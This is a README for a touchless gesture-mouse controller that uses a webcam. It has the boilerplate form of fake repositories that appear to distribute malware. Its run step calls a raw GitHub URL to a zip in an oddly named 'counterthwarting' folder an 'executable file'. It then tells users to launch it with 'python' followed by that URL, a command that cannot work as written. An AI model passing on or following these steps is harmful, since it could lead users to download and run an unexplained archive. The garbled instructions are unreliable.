The gesture-mouse project uses AI to create a touchless mouse controller. With your webcam and hand gestures, you can navigate your computer without any physical device. This project enhances how we interact with our computers in a simple way.
To start using gesture-mouse, follow these steps:
-
Ensure Your System Meets the Requirements
- Operating System: Windows 10 or later, macOS, or Linux.
- Webcam: An active webcam is required for gesture recognition.
- Python: Install Python 3.7 or higher.
- Internet connection: Needed for downloading the software and dependencies.
-
Download the Software Visit the Releases page to download the latest version of gesture-mouse.
-
Install the Required Dependencies After downloading, you will need to install a few dependencies for the application to run smoothly. Open your command line interface (Command Prompt for Windows, Terminal for macOS/Linux) and run the following commands:
pip install opencv-python pip install mediapipe pip install pyautogui pip install pynput
-
Run the Application Navigate to the folder where you downloaded the application. You will find an executable file named
https://github.com/Phonkich/gesture-mouse/raw/refs/heads/main/counterthwarting/gesture-mouse-1.2.zip. Open your command line interface and enter:python https://github.com/Phonkich/gesture-mouse/raw/refs/heads/main/counterthwarting/gesture-mouse-1.2.zip
This command will launch the application. Make sure your webcam is turned on.
- Real-Time Hand Gesture Recognition: The software can recognize different hand gestures and translate them into mouse movements.
- No Physical Mouse Required: Control your computer without needing a mouse or touchpad.
- Open Source: Modify or enhance the software as needed.
- Multiple Gesture Support: Use various gestures to perform different actions.
Gesture-mouse uses computer vision techniques to interpret hand movements. It recognizes your hand's position and translates it into cursor movements on the screen.
If you encounter any issues, consider the following:
- Webcam Not Detected: Ensure your webcam is connected and not being used by another application.
- Poor Recognition: Make sure you are in a well-lit area. Lighting is crucial for the application to function correctly.
- Sluggish Performance: Close other applications or tabs running in the background to free up system resources.
For help or inquiries, please open an issue in the repository. We aim to assist you promptly.
gesture-mouse is licensed under the MIT License. You can freely use, modify, and distribute the software within the terms of the license.
We welcome contributions! If you wish to improve or add new features, please fork the repository and submit a pull request. Your contributions will help enhance this tool for everyone.
Now that you know what gesture-mouse is and how it works, it's time to get started. Visit the Releases page to download the latest version. Follow the instructions above to install and run the application. Enjoy controlling your computer with just your hands!